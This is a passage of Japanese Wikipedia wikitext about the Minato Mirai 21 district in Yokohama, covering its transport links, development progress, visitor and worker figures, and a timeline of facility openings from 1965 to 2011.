[[公共交通機関]]では[[2004年]]に[[横浜高速鉄道みなとみらい線]]が開業し、当地区内にも[[新高島駅]]と[[みなとみらい駅]]が設置された<ref>[http://thepage.jp/detail/20140201-00000003-wordleaf 開業から10周年 みなとみらい線がもたらしたもの](THE PAGE 2014年2月1日)</ref>。さらに<!--将来の-->新しい交通システムとして、[[2020年]]7月に横浜市が当地区内を経由する[[連節バス]]「[[横浜市営バス#ベイサイドブルー|ベイサイドブルー]]」の運行を開始している<ref name="kanaloco181002">[https://www.kanaloco.jp/news/government/entry-36988.html 横浜臨海部に連節バス 20年6月運行](神奈川新聞{{small|〈カナロコ〉}} 2018年10月2日)</ref>ほか、[[路面電車#日本におけるLRT|LRT]](次世代型路面電車システム)の導入検討<ref name="yokohama-toshinmp"/><ref>[http://hamarepo.com/story.php?story_id=5763 横浜にLRTが走る計画はどうなった?](はまれぽ.com 2016年12月25日)</ref>や[[索道]](ロープウェイなど)による複数の空中交通構想{{refnest|group="注"|横浜市都市整備局が2017年10月〜12月に実施した公費負担を伴わない臨海部の回遊性を高める多彩な交通の事業提案募集<ref name="yokohama-tasaina-kotsu"/>に対し、空中交通関連では[[新港 (横浜市)|新港地区]]で客船ターミナルの整備も行う[[横浜岡田屋]]など地元企業による「横浜駅東口から当地区などを経由し、[[山下埠頭]]までロープウェイなどの索道で結ぶ周遊ルート」<ref name="kanaloco171230"/>と、よこはまコスモワールドを運営する[[泉陽興業]]による「桜木町駅周辺から新港地区まで汽車道沿いにロープウェイを通すルート<!--{{small|(開業目標:2020年東京オリンピック開幕前)}}-->」が提案されている<ref name="kanaloco180524-25"/><ref name="yomiuri180524-25"/>。}}も浮上している<ref name="yokohama-tasaina-kotsu">[https://www.city.yokohama.lg.jp/kurashi/machizukuri-kankyo/toshiseibi/sogotyousei/tasainakotsu/koubo.html 「まちを楽しむ多彩な交通」 ~提案内容をまとめたリーフレットを作成しました~]/{{PDF|[https://www.city.yokohama.lg.jp/kurashi/machizukuri-kankyo/toshiseibi/sogotyousei/tasainakotsu/koubo.files/0017_20190904.pdf リーフレット]〈[https://web.archive.org/web/20211017163709/https://www.city.yokohama.lg.jp/kurashi/machizukuri-kankyo/toshiseibi/sogotyousei/tasainakotsu/koubo.files/0017_20190904.pdf アーカイブ]〉}}(横浜市都市整備局 平成30年 {{small|(2018年)}} 5月24日、令和元年 {{small|(2019年)}} 8月更新)</ref><ref name="kanaloco171230">[https://www.kanaloco.jp/news/life/entry-23892.html 横浜→山下ふ頭に空中交通!? ロープウエー構想浮上](神奈川新聞{{small|〈カナロコ〉}} 2017年12月30日)</ref><ref name="kanaloco180524-25">神奈川新聞{{small|〈カナロコ〉}}:[https://www.kanaloco.jp/news/economy/entry-30575.html 桜木町にロープウエー構想 新港地区アクセス向上へ](2018年5月24日付)/[https://www.kanaloco.jp/news/life/entry-30620.html ロープウエーや水上交通 横浜観光アクセス向上へ新提案](同月25日付)</ref><ref name="yomiuri180524-25">読売新聞:[http://www.yomiuri.co.jp/economy/20180523-OYT1T50147.html 横浜臨海部にロープウェー構想、2ルート協議](2018年5月24日付)/[http://www.yomiuri.co.jp/economy/20180525-OYT1T50020.html 横浜港にロープウェー、東京五輪までに開業](同月25日付)</ref>。なお、索道のうちコスモワールドを運営する[[泉陽興業]]による桜木町駅前から運河パーク(横浜ワールドポーターズ前)まで[[汽車道]]沿いの南側([[北仲通地区]]寄り)を通る<!--計画の-->ロープウェイ「[[YOKOHAMA AIR CABIN]]」は、[[2021年]]4月に開業している(設置・運営など事業に関する費用を同社が全額負担するため横浜市の公費負担はなし)<ref name="kanaloco190213">[https://www.kanaloco.jp/news/government/entry-149119.html 東京五輪前に開業へ 新港地区-桜木町ロープウエー計画](神奈川新聞{{small|〈カナロコ〉}} 2019年2月13日)</ref><ref name="hamarepo190215">[http://hamarepo.com/story.php?story_id=7097 桜木町のロープウェイ計画が明らかに! 第二のコスモクロックになるか?](はまれぽ.com 2019年2月15日)</ref><ref>[https://1201.yokohama/ropeway-yokohama-air-cabin190226/ みなとみらいロープウェイ案、YOKOHAMA AIR CABIN。2020年を目標](1201{{small|〈横浜情報ブログ〉}} 2019年2月26日)</ref><ref name="kanaloco191126">[https://www.kanaloco.jp/news/government/entry-211290.html 横浜のロープウエー、照明は石井幹子さん 20年度末開業](神奈川新聞{{small|〈カナロコ〉}} 2019年11月26日)</ref><ref name="tokyo-np191127">[https://www.tokyo-np.co.jp/article/national/list/201911/CK2019112702000124.html ロープウエー、五輪間に合わず 横浜・みなとみらい 工事開始半年遅れ](東京新聞 2019年11月27日)</ref><ref name="city-yokohama210113">{{Cite press release|和書|url=https://www.city.yokohama.lg.jp/city-info/koho-kocho/press/toshi/2020/0113toshiseibi.files/0003_20210113.pdf|archiveurl=https://web.archive.org/web/20210113164901/https://www.city.yokohama.lg.jp/city-info/koho-kocho/press/toshi/2020/0113toshiseibi.files/0003_20210113.pdf|format=PDF|language=日本語|title=2021(令和3)年、回遊性が向上し都心臨海部がさらに魅力的に!|publisher=横浜市|date=2021-01-13|accessdate=2021-01-13|archivedate=2021-01-13}}</ref>。
=== 開発の進展 ===
当初は[[2000年]]頃までに街全体の完成を目指していたが、[[バブル崩壊]]の影響などにより計画は延期されている<ref>[http://www.jiti.co.jp/graph/int/satomasa/satomasa.htm 建設グラフ1997年3月号{{small|(横浜みなとみらい21代表取締役社長 (当時) 佐藤昌之 インタビュー)}}]〈[[ウェイバックマシン|Wayback Machine]]による[https://web.archive.org/web/20180818052407/http://www.jiti.co.jp/graph/int/satomasa/satomasa.htm 2018年8月18日時点のアーカイブ]〉</ref><ref>[http://www.tokyo-np.co.jp/article/kanagawa/list/201705/CK2017050602000114.html <みらいの今 横浜臨海部事情>(中)進むオフィス集積 地の利生き「開発」85%](東京新聞 2017年5月6日〈[[ウェイバックマシン|Wayback Machine]]による[https://web.archive.org/web/20180329053955/http://www.tokyo-np.co.jp/article/kanagawa/list/201705/CK2017050602000114.html 2018年3月29日時点のアーカイブ]〉)</ref>。[[2000年代]]より、[[中田宏]]横浜市長や[[松沢成文]]神奈川県知事の積極的な企業誘致とともに、横浜市では[[企業立地促進条例]]が制定され、神奈川県も[[インベスト神奈川]]を策定し、[[市税]]の減額や[[助成金]]など企業の負担を軽減する措置によって優良な企業立地環境の整備を行っている。2008年末の[[リーマン・ショック]]に端を発する世界的な[[景気]]後退の影響を受け、いくつかのオフィスビル建設計画では中止・延期等もあったが、後任の[[林文子]]横浜市長は引き続き企業誘致に向けた[[トップセールス]]を行い、上場企業の本社機能立地が着実に進んでおり、さらに[[2010年代]]半ば以降は[[研究開発]]拠点や音楽施設の集積なども進んでいる<ref>[https://hamarepo.com/story.php?story_id=6499 みなとみらいレポート第4回・三菱みなとみらい技術館があるビルが売却!?](はまれぽ.com 2018年1月23日)</ref><ref>[https://www.kanaloco.jp/news/economy/entry-30776.html 未来はMMから R&D施設集積の背景(1) つながり 組織超えて技術革新](神奈川新聞{{small|〈カナロコ〉}} 2018年5月28日)</ref><ref>[http://emira-t.jp/city/5205/ 横浜・みなとみらいエリアが“音楽の聖地”に!3施設の新たな建設計画進行中](EMIRA 2018年3月15日)</ref>。
この他、[[2010年]]には[[横浜国際平和会議場]](パシフィコ横浜)で[[2010年日本APEC|アジア太平洋経済協力首脳会議]] (APEC) が開催されたが、[[コンベンション・センター|コンベンション]]機能を拡張するため2020年に向けて新展示場「[[横浜みなとみらい国際コンベンションセンター]]」(パシフィコ横浜ノース)が整備され、国際会議の誘致など[[MICE]]市場に注力している<ref>{{PDFlink|[https://www.pacifico.co.jp/Portals/0/resources/information/archives/information_20180215_north_j.pdf 2020年春開業、みなとみらいの新MICE施設 正式名称・通称が決定しました]}}(株式会社横浜国際平和会議場 2018年2月15日)</ref>。また、新港地区では新たな客船ターミナル複合施設「[[横浜ハンマーヘッド]]」(新港ふ頭客船ターミナル)が整備され、[[クルーズ客船]]の誘致にも力を入れている<ref name="kanaloco160229"/>。
当地区は現在も事業中であり、2021年6月時点の事業進捗率は約96.0%、暫定利用施設を除く本格利用<!--=長期の定期借地を含む恒久利用施設の開発-->が決定している土地(建設中・計画中含む)の割合は約90.8%となっている<ref name="y-toshiseibi-mm21-gaiyo">[https://www.city.yokohama.lg.jp/kurashi/machizukuri-kankyo/toshiseibi/mm21/gaiyo.html みなとみらい21地区 事業概要:最近の状況「街区開発」](横浜市都市整備局 2021年6月25日時点のデータ、''2021年7月16日閲覧'')<!--情報更新時にデータと閲覧の日付も更新--></ref><ref name="town-news180101"/><!--<ref>[http://www.yomiuri.co.jp/local/kanagawa/news/20180105-OYTNT50128.html みなとみらい21開発 8割超…5年で加速](読売新聞 2018年1月5日)</ref>-->。近年では、これまで一定期間で打ち切っていた開発事業者の公募を継続して行うようにしたり、横浜市の指定地域における[[環境アセスメント]]の緩和(条例改正)などにより開発条件の柔軟性と共に、経済状況に左右されがちだった当地区の開発にスピード性を持たせている。[[まちづくり|街づくり]]としては[[オフィス|業務]]、[[集合住宅]]、[[商業]]、[[観光]]などの用途で集積が進み最終段階に入りつつある<!--が、今後は未開発の土地がいくつか残る[[#キング軸|キング軸周辺{{small|(新高島駅周辺〜臨港パークを結ぶ)}}エリア]]において、積極的に事業者の公募を行い開発を進めていく方針である-->。2021年12月時点の就業人口は約12万5,000人(前年比約8千人増)と増加傾向にある<ref name="y-toshiseibi220325">{{PDF|[https://www.city.yokohama.lg.jp/city-info/koho-kocho/press/toshi/2021/0325R3mm21raigaisya.files/R3mm21raigaisya.pdf みなとみらい21地区 令和3年(2021 年)の来街者数は約 6,150 万人(就業者数は過去最多を記録)]}}(横浜市都市整備局 令和4年 {{small|(2022年)}} 3月25日)</ref>。さらに首都圏における観光地・行楽地としての人気も高く、[[2019年]]の年間来街者数は約8,340万人(前年比約30万人増)と[[1999年]]の集計開始以降[[2001年]]<!--前年の2000年集計から増加-->より約20年間概ね増加を続けている<!--ただし2014年と2015年は約7,600万人でほぼ同数であった。また、2017年は7,900万人で前年の8,100万人より減少したが2018年には8,300万人と再び増加した。-->{{refnest|group="注"|2020年は[[新型コロナウイルス感染症の世界的流行 (2019年-)|新型コロナウイルスの世界的流行]]の影響で年間来街者数は前年比約2,300万人減の約6,040万人となった<ref>{{PDF|[https://www.ymm21.jp/news/upload/MM2020_raigaisya.pdf みなとみらい21地区 令和2年(2020年)の来街者数は約6,040万人 就業者数は過去最多を記録]}}(横浜市都市整備局 令和3年 {{small|(2021年)}} 3月16日)</ref>(2021年は約6,150万人と若干増加<ref name="y-toshiseibi220325"/>)。ただし、[[緊急事態宣言及びまん延防止等重点措置|緊急事態宣言]]も発令されるなど[[コロナ禍]]における社会的異常事態での数字となるため<!--2021年以降も続く可能性がある-->、ここでは注記に留める。}}<ref name="y-toshiseibi-mm21-gaiyo"/><ref>[https://www.city.yokohama.lg.jp/city-info/koho-kocho/press/toshi/2018/20190318_siryou.html みなとみらい21地区 平成30年の来街者数は約8,300万人](横浜市都市整備局みなとみらい21推進課 平成31年 {{small|(2019年)}} 3月18日<!--/[[ウェイバックマシン|Wayback Machine]]による[https://web.archive.org/web/20170320051854/http://www.city.yokohama.lg.jp/toshi/mm21/press/20170307134250.html 2017年3月20日時点のアーカイブ]-->)</ref><ref>[https://www.city.yokohama.lg.jp/city-info/koho-kocho/press/toshi/2019/03168340.html みなとみらい21地区 令和元年(2019年)の来街者数は約8,340万人! 就業者数・事業所数ともに過去最多を記録]/{{PDFlink|[https://www.city.yokohama.lg.jp/city-info/koho-kocho/press/toshi/2019/03168340.files/0001_20200312.pdf 詳細資料{{small|〈記者発表資料〉}}]〈[https://web.archive.org/web/20220930051207/https://www.city.yokohama.lg.jp/city-info/koho-kocho/press/toshi/2019/03168340.files/0001_20200312.pdf アーカイブ]〉}}(横浜市都市整備局みなとみらい21推進課 令和2年 {{small|(2020年)}} 3月16日)</ref><ref>[https://www.kanaloco.jp/news/economy/entry-9530.html 「逃げ恥」効果? みなとみらい最多の人出](神奈川新聞{{small|〈カナロコ〉}} 2017年3月8日)</ref><!--<ref>[http://www3.nhk.or.jp/news/html/20150322/k10010023981000.html 「みなとみらい」の人出 過去最高更新](NHKニュース 2015年3月22日/[https://megalodon.jp/2015-0324-0804-54/www3.nhk.or.jp/news/html/20150322/k10010023981000.html ウェブ魚拓キャッシュ])</ref>--><!--毎年3月頃に「横浜市都市整備局みなとみらい21推進課」のサイトで前年の集計結果が公表されている。もし年間来場者数が減少した場合も、1999年の集計開始以降2001年よりそれまで毎年増加傾向にあったことを記す-->。一方、当地区内の[[人口]]<!--みなとみらい三〜六丁目の人口合計-->も2017年12月時点時点<!--小学校の開校直前-->で8,500人<!--2017年12月31日時点でのみなとみらい三〜六丁目の人口合計:8501人-->に上っており<ref>[https://www.city.yokohama.lg.jp/city-info/yokohamashi/tokei-chosa/portal/jinko/ 横浜市統計情報ポータル 人口統計]:[https://www.city.yokohama.lg.jp/city-info/yokohamashi/tokei-chosa/portal/jinko/chocho/juki/ 町丁別人口(住民基本台帳による)](''2019年3月27日閲覧'')</ref><!--<ref>[http://www.city.yokohama.lg.jp/ex/stat/jinko/cho/new/nishi.html 横浜市統計ポータルサイト 西区町別世帯と人口](2017年12月31日時点のデータ、''2018年1月20日閲覧'')</ref>-->、今後も児童数の増加が見込まれることから、[[2018年]] - [[2028年]]度の10年間限定で地区内に[[横浜市立みなとみらい本町小学校]](同[[横浜市立本町小学校|本町小学校]]から分離新設)を開校している<ref name="minatomiraihoncho-shogako">[http://www.edu.city.yokohama.lg.jp/school/es/minatomiraihoncho/ 横浜市立みなとみらい本町小学校](公式サイト)</ref><ref name="hamarepo3253">[http://hamarepo.com/story.php?story_id=3253 マンション開発などによる児童数増加で、みなとみらいに10年間限定の小学校ができるって本当!?](はまれぽ.com 2014年8月29日、''2014年9月4日閲覧'')</ref><ref name="msn20140830">[http://sankei.jp.msn.com/region/news/140830/kng14083002140003-n1.htm みなとみらい21に10年限定小学校 児童増へ対応 横浜](MSN産経ニュース 2014年8月30日、''2014年9月4日閲覧'')</ref><ref name="kanaloco140829">[https://www.kanaloco.jp/news/social/entry-51178.html 横浜・MM21に市立小学校新設へ 10年限定 マンション開発で児童大幅増](神奈川新聞{{small|〈カナロコ〉}} 2014年8月29日、''2014年9月6日閲覧'')</ref><ref name="kanaloco160220">[https://www.kanaloco.jp/news/social/entry-71688.html みなとみらい本町小に 18年春開校の小学校名](神奈川新聞{{small|〈カナロコ〉}} 2016年2月20日)</ref><ref>[http://www.tokyo-np.co.jp/article/kanagawa/list/201705/CK2017050702000155.html <みらいの今 横浜臨海部事情>(下)みなとみらい本町小学校 増築追いつかず来春開校](東京新聞 2017年5月7日)</ref>。
== <!--沿革-->歴史・今後の予定 ==
=== 1960-1980年代 ===
* 1965年 - [[横浜市六大事業|横浜市の六大事業]]の一つとして、当地区の[[都市再開発|再開発]]構想が出る。
* 1979年 - 「横浜市都心臨海部総合整備計画」基本構想発表。
[[画像:Yokohama MM21 Cornerstone 01.jpg|thumb|埋立事業礎石:当時の市長署名がある{{small|(現在は[[日本丸メモリアルパーク]]内に設置)}}]]
* 1981年 - 一般公募により事業名が「みなとみらい21」に決定(詳細は[[#街の名称について|後節]])。
* 1983年
** [[三菱重工業横浜造船所]]の移転完了。
** 帆船[[日本丸 (初代)|日本丸]]の横浜市への移管が決定。
** 11月8日に「みなとみらい21」事業着工。
* 1984年
** 埋立事業の[[礎石]]沈定式(起工式)<ref group="注">埋立事業礎石が工事の安全祈願と着工を記念して、埋立地の海中に沈められた。なお、礎石は後に引き上げられ、現在では日本丸メモリアルパーク内に設置されている。 参考:{{PDFlink|[https://www.nippon-maru.or.jp/wp-content/themes/nihonmaru/library/pdf/leaf_201804_jpn.pdf 帆船日本丸・横浜みなと博物館ガイド(公式パンフレット)]}}</ref>。
** 株式会社横浜みなとみらい21設立。
[[画像:Nipponmaru.jpg|thumb|[[日本丸 (初代)|日本丸]]]]
* 1985年
** [[横浜そごう]]が入る「[[横浜新都市ビル]]」{{small|(68街区)}}開業。
** 「[[日本丸メモリアルパーク]]」{{small|(23街区)}}一部完成、帆船日本丸を一般公開。
[[画像:Yokohama Bay Bridge.jpg|thumb|[[横浜ベイブリッジ]]]]
* 1989年
** [[動く歩道]]完成。
** 横浜市制100周年、開港130周年を記念して「'''[[横浜博覧会]]''' (YES'89)」開催。動員数1333万人。以後、当地区の開発が本格化。
** 「[[横浜ベイブリッジ]]」開通。
** 「[[横浜みなと博物館|横浜マリタイムミュージアム]]」(現:横浜みなと博物館){{small|(23街区)}}開館。
** 「[[臨港パーク]]」{{small|(19街区)}}一部完成。
** 横浜市内初の大型美術館である「[[横浜美術館]]」{{small|(36街区)}}正式開館。
** [[みなとみらい21熱供給]]のセンタープラント{{small|(31街区)}}により、当地区の[[地域熱供給|地域冷暖房]](地域熱供給)事業開始。
** 中央地区の広範囲における町名、住所表記が「[[みなとみらい]]」に決定。
=== 1990年代 ===
* 1991年
** 「[[横浜国際平和会議場]]」(パシフィコ横浜・展示ホール){{small|(18・22街区)}}竣工。
** 「[[ヨコハマグランドインターコンチネンタルホテル]]」{{small|(18街区)}}開業<ref>{{Cite web|和書|url=http://www.interconti.co.jp/yokohama/company/ |title=会社概要 |publisher =ヨコハマ グランド インターコンチネンタル ホテル |accessdate =2018-03-10}}</ref>。
** 「[[ぷかりさん橋]]」{{small|(18街区)}}完成。
** 「みなとみらいクリーンセンター」{{small|(31街区)}}にて、ごみを一元集積するシステム(廃棄物管路収集)<ref group="注" name="gomi-kanrosyusyu"/><ref name="shigenkousya-kanrosyusyu"/>が一部稼動。
* 1992年
** [[首都高速道路]][[首都高速神奈川1号横羽線|横羽線]]に[[みなとみらい出入口]]設置、供用開始。
** 中央地区(高島地区除く、59.9ha)の埋立が竣工した。
[[画像:Yokohama-Landmark-Tower-00.jpg|thumb|[[横浜ランドマークタワー]]]]
* 1993年
** 「[[横浜ランドマークタワー]]」{{small|(25街区)}}開業。
** 「[[横浜銀行本店ビル]]」{{small|(30街区)}}竣工。
** 「[[横浜ロイヤルパークホテル|横浜ロイヤルパークホテルニッコー]]」(現:横浜ロイヤルパークホテル){{small|(25街区)}}開業。
[[画像:640px-MM-YOYO (objet d'art) 1.jpg|thumb|ヨーヨー広場]]
* 1994年
** [[臨港幹線道路|国際大通り]]の「国際橋」開通。
** [[横浜国際平和会議場]](パシフィコ横浜){{small|(18・22街区)}}内に「国立横浜国際会議場(国立大ホール)」が完成。
** 「[[三菱重工横浜ビル]]」{{small|(37街区)}}竣工。
** [[ランドマークプラザ]]前に[[最上壽之]]による巨大彫刻「モクモク ワクワク ヨコハマ ヨーヨー」完成(彫刻の名称から設置場所は「[[グランモール公園#円形広場・ヨーヨー広場|ヨーヨー広場]]」と呼ばれる)。
* 1996年
** 「[[けいゆう病院]]」{{small|(32街区)}}移転開業。
** 「[[横浜スカイビル]]」{{small|(68街区)}}開業。
** 32街区に飲食店や商業店舗などからなる暫定施設「32番館」が開業(10年間の借地契約)。
** 当地区内で「[[木下大サーカス]]」の横浜公演初開催<ref name="kinoshita-circus-prof03">[http://www.kinoshita-circus.co.jp/htmls/prof/prof-03.htm 木下サーカス【会社概要/活躍のフィールド】](公式サイト内)</ref>。
** 中央地区のうち、高島地区 (5.5ha) の埋立が竣工した。
* 1997年
** 新港地区の都市計画が決定。
** 「[[横浜桜木郵便局]]」{{small|(27街区)}}開業。
** 「[[クイーンズスクエア横浜]]」{{small|(24街区)}}開業。
** 「[[日石横浜ビル]]」{{small|(30街区)}}竣工。
** 「[[汽車道]]」開通。
** 「[[クイーンズスクエア横浜#横浜ベイホテル東急|パンパシフィックホテル横浜]]」(現:横浜ベイホテル東急){{small|(24街区)}}開業。
** みなとみらい大通り([[栄本町線]])において、[[ポートサイド地区]]と接続する「[[みなとみらい大橋]]」が開通。
** [[みなとみらい21熱供給]]による[[地域熱供給|地域冷暖房]]システム第2プラント([[クイーンズスクエア横浜|クイーンズタワーA]]地下){{small|(24街区)}}が竣工。
** [[横浜ランドマークタワー#ドックヤードガーデン|ドックヤードガーデン]](旧横浜船渠株式会社第二号船渠)が国の[[重要文化財]]に指定。
* 1998年
** 「[[横浜みなとみらいホール]]」{{small|(24街区)}}正式開業。
** 新港地区 (8.5ha) の埋立が全て竣工、これにより「みなとみらい21」の埋立(臨海部土地造成)事業が概ね完了した。
[[画像:Cosmo Clock 21 at night.jpg|thumb|[[よこはまコスモワールド]]・[[コスモクロック21]]]]
* 1999年
** 「[[横浜メディアタワー]]」([[NTTドコモ]]神奈川支店){{small|(41街区)}}開業。
** 「[[よこはまコスモワールド]]」{{small|(15・23街区)}}正式開業(観覧車[[コスモクロック21]]も移転)。
** 「[[横浜ワールドポーターズ]]」{{small|(12・14街区)}}開業。
** 「[[汽車道#周辺の緑地整備(運河パーク)|運河パーク]]」{{small|(17街区)}}完成。
** 横浜国際船員センター「[[ナビオス横浜]]」{{small|(13街区)}}開業。
** 「[[グランモール公園]]」{{small|(35街区)}}全面完成、暫定商業施設の「[[横浜ジャックモール]]」開業。
=== 2000年代 ===
* 2000年
** 「[[神奈川県警]]みなとみらい分庁舎」{{small|(32街区)}}竣工。
** [[複合商業施設]]「[[クロスゲート (商業施設)|クロスゲート]]」(高層階:[[クロスゲート (商業施設)#横浜桜木町ワシントンホテル|横浜桜木町ワシントンホテル]]){{small|(26街区)}}開業。
** [[日本丸メモリアルパーク#日本丸展示ドック|日本丸展示ドック]](旧横浜船渠株式会社第一号船渠)が国の重要文化財に指定。
* 2001年
** 「[[新港 (横浜市)#緑地整備|新港パーク]]」(現:カップヌードルミュージアムパーク){{small|(10街区)}}全面完成。
** 集客イベントとして企画された初の「[[横浜トリエンナーレ]]」{{small|(横浜トリエンナーレ2001)}}開催。
* 2002年
** みなとみらい大通り([[栄本町線]])が全面供用開始。
** 「[[山下臨港線プロムナード]]」完成。
** [[横浜赤レンガ倉庫]]が改築され、「赤レンガパーク」{{small|(2街区)}}全面完成。
** 「[[国際協力機構|JICA]]横浜国際センター」(赤レンガ国際館){{small|(11-1街区)}}開業。
* 2003年
** 当地区初の高層マンション「M.M.TOWERS」{{small|(39街区)}}竣工。<!--以降、マンションの竣工については特記がない限り本節では省く-->
** 「富士ソフトABC(現:[[富士ソフト]])本社ビル」{{small|(27街区)}}竣工。
** [[ホームセンター]]の[[セキチュー]]などが入る暫定商業施設「[[アルカエフ]]{{Refnest|group="注"|name="arukaefu"|施設名の由来は、[[イタリア語]]で[[箱舟]]を意味する「Arca」('''アルカ''')と[[英単語]] “Future”(未来)、“Familiar” (親しみ)、“Fortune”(幸運)より[[頭文字]]の「F」('''エフ''')を組み合わせた[[造語]]である<ref name="yokohamatoshimirai-arukaef">[https://web.archive.org/web/20160628213740/http://www.ytmirai.co.jp/business/facilities/arukaef.php アルカエフ - 株式会社横浜都市みらい]</ref>。ただし、当施設の[[英語]]表記では“ARUKAEFU”となっている<ref>{{PDFlink|[https://www.ymm21.jp/upload/Info85.pdf MINATOMIRAI21 Information vol.85(英語版)]}}(2014年3月発行 ''企画・発行元:横浜市都市整備局みなとみらい21推進課、横浜市港湾局資産活用課、一般社団法人横浜みなとみらい21'')</ref>。}}」{{small|(44街区)}}開業。
[[画像:Yokohama-Minatomirai-Y500.jpg|thumb|[[横浜高速鉄道みなとみらい線|みなとみらい線]]の車両([[横浜高速鉄道Y500系電車|Y500系]])]]
* 2004年
** 「県民共済プラザビル」{{small|(29街区)}}竣工、[[神奈川県民共済生活協同組合]]の本部が置かれる。
** 「[[横浜高速鉄道みなとみらい線|みなとみらい線]]」開通。当地区内では[[みなとみらい駅]]と[[新高島駅]]が開業。
** 46街区(旧ジャックモール隣接地)の<!--横浜みなとみらい21-->特設会場で「[[木下大サーカス]]」の横浜公演開催<ref name="kinoshita-circus-prof03"/><ref name="kinoshita-yokohama2004">[https://web.archive.org/web/20040205014310fw_/http://www.kinoshita-circus.co.jp:80/htmls/sche.htm 木下サーカス:スケジュール(横浜公演 2004年2月14日〜4月19日)]([[ウェイバックマシン|Wayback Machine]]による2014年2月5日時点の[[ウェブアーカイブ|アーカイブ]])</ref>。
** [[伊藤忠商事]]等による商業ビル「[[リーフみなとみらい]]」{{small|(42街区)}}開業。
** [[東京海上日動火災保険]]による高層オフィスビル「[[みなとみらいビジネススクエア]]」{{small|(33街区)}}開業。
** [[新高島駅]]近くの53街区に[[シネマコンプレックス]]([[109シネマズ]])や[[ライブハウス]]([[横浜BLITZ]])などを備えた暫定複合施設「[[GENTO YOKOHAMA]]」開業。
* 2005年
** 温泉施設「横浜みなとみらい [[万葉倶楽部]]」{{small|(11-3街区)}}開業。
** 10月31日の町区域の変更に伴い、[[高島 (横浜市)|高島一丁目]]の半分以上がみなとみらい五丁目および六丁目に変更となり、みなとみらい六丁目が新たに誕生した<ref>[http://www.city.yokohama.lg.jp/toshi/mm21/inform/tyoumei.html みなとみらい21地区で町区域の変更を実施](横浜市都市整備局)</ref>。なお、[[新高島駅]]周辺の町名も高島一丁目からみなとみらい五丁目に変更となっている(町名としての「[[みなとみらい]]」の項参照)。
* 2006年
** 60街区に「[[横浜みなとみらいスポーツパーク]]」(暫定施設)完成。
** 飲食店や商業店舗などからなる暫定施設「32番館」が契約終了により閉鎖。
** [[新港 (横浜市)#新港埠頭の岸壁|新港客船ターミナル]](6-1街区)区域内にある客船ターミナルや[[貨物上屋|上屋]]機能の一部を転用して、[[東京芸術大学|東京藝術大学]]の「大学院映像研究科新港校舎」(映像文化施設・スタジオ)が設立された。
* 2007年
** 61街区に「[[マリノスタウン]]」(暫定施設)が開業、[[横浜F・マリノス]]がクラブハウスを移転した。
** 「[[横浜アンパンマンこどもミュージアム]]」が48街区に暫定施設{{refnest|group="注"|name="bluemarina-mm21"|横浜アンパンマンこどもミュージアム&モール(48街区旧施設)のミュージアムエリアの建物は、UR都市機構が横浜中央都市整備事務所として使用していた建物「ブルーマリーナMM21」(1996年6月竣工、[[建築設計事務所|建築設計]]:中川巌・建築綜合研究所/[[構造設計事務所|構造設計]]:[[梅沢良三|梅沢建築構造研究所]])<ref name="umesawa-bulue">[http://www.use-web.co.jp/project/190 ブルーマリーナMM21](USE : [[梅沢良三|梅沢建築構造研究所]])</ref><ref name="tokyotatemono-bulue">[http://arch.cside.com/f-bluemarine.html ブルーマリーナMM21](東京建物図鑑/[https://web.archive.org/web/20040604135557/http://arch.cside.com/f-bluemarine.html Wayback Machine (2004/06/04)])</ref>を改装利用していた<ref name="hamakei070108"/>。}}として開業<ref name="hamakei070108">[http://www.hamakei.com/headline/2099/ みなとみらいに「横浜アンパンマンこどもミュージアム」が開業]([[みんなの経済新聞ネットワーク|ヨコハマ経済新聞]] 2007年1月8日)</ref>。
** 「[[高島中央公園]]」{{small|(51街区)}}完成。
** 高層オフィスビル「[[MMパークビル]]」{{small|(33街区)}}竣工。
* 2008年
** 「[[シンクロン]]本社ビル」{{small|(49街区)}}竣工。
** [[臨港幹線道路]]の一部である「みなとみらい橋」、「コットン大橋」が開通。
** [[横浜国際平和会議場]](パシフィコ横浜)にて[[アフリカ開発会議]]が開催される。
** 「[[横浜トリエンナーレ]]2008」の会場の一つとして、新港客船ターミナル(6-1街区)区域内に「[[新港ピア]]」(新港埠頭展示施設)が開設された。
* 2009年
** 開港150周年、横浜市制120周年を記念して「[[開国博Y150]]」開催。「ベイサイドエリア」として当地区でも様々なイベントが行われ、7街区が「トゥモローパーク」、8街区([[新港 (横浜市)#緑地整備|新港中央広場]])が「はじまりの森」の会場となった。
** 動く歩道の屋根に[[ソーラーパネル]]設置。
** [[横浜駅]]東口と新高島地区(66街区〜68街区間)を結ぶ[[ペデストリアンデッキ]]「[[はまみらいウォーク]]」開通。
** 「[[象の鼻パーク]]」{{small|(3街区)}}完成。
** [[日産自動車]]が66街区に本社を移転([[日産自動車グローバル本社]])。
** [[劇団四季]]による「[[キヤノン・キャッツ・シアター]]」が57街区に完成。ミュージカル「[[キャッツ (ミュージカル)|キャッツ]]」が2012年11月の[[千秋楽]]まで3年間公演された。
** 高層オフィスビル「[[横浜ブルーアベニュー]]<ref name="Blue-avenue" group="注"/>」が46街区に完成。
=== 2010年代 ===
* 2010年
** [[テーオーシー]]による[[ニューオータニイン横浜プレミアム]]、商業施設「[[コレットマーレ]]」、シネコン「[[横浜ブルク13]]」、[[オフィス]]を備えた「[[ヒューリックみなとみらい|TOCみなとみらい]]」(現:ヒューリックみなとみらい)が28街区に開業。
** 富士ゼロックス(現:[[富士フイルムビジネスイノベーション]])の新しい[[研究開発]]拠点となる「[[富士ゼロックスR&Dスクエア]]」が65街区に完成。
** 日産本社ビルと[[新高島駅]]方面および富士ゼロックスR&Dスクエア方面を結ぶ「[[みなとみらい歩道橋]]」が完成。
** [[オリックス不動産]]、[[大和ハウス工業]]、[[ケン・コーポレーション]]による複合オフィスビル「[[みなとみらいセンタービル]]」が33街区に完成。
** [[横浜国際平和会議場]](パシフィコ横浜)にて[[2010年日本APEC|アジア太平洋経済協力首脳会議]] (APEC) が開催。
** APEC開催に合わせて54街区に[[スマートハウス]]実証実験住宅「観環居」(かんかんきょ)が設置された([[総務省]]主体・[[積水ハウス]]開発)<ref name="kankankyo-archive">[https://archive.fo/Blfa 積水ハウス:観環居(Archive.is (10 Sep 2012))]</ref>。なお、APEC終了後も暫定施設として2014年2月まで継続、事前申込みにより内覧も可能であった。
* 2011年
** 「みなとみらい21」の[[土地区画整理事業]]が完了(3月)<ref group="注">土地区画整理事業は予定通り2010年度中に完了。</ref>。
** [[マリノスタウン]]脇の63・64街区に「[[高島水際線公園]]」開園。
** [[丸紅]]と[[三菱商事]]による複合オフィスビル「[[みなとみらいグランドセントラルタワー]]」が42街区に完成。
